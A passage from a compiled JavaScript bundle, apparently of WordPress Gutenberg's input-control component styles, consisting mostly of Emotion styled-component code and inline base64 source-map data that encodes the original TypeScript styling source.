JvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24626 var BaseLabel = /* @__PURE__ */ createStyled(component_default8, false ? {
24627 target: "em5sgkm2"
24628 } : {
24629 target: "em5sgkm2",
24630 label: "BaseLabel"
24631 })("&&&{", baseLabelTypography, ";box-sizing:border-box;display:block;padding-top:0;padding-bottom:0;max-width:100%;z-index:1;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrVHFFIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvb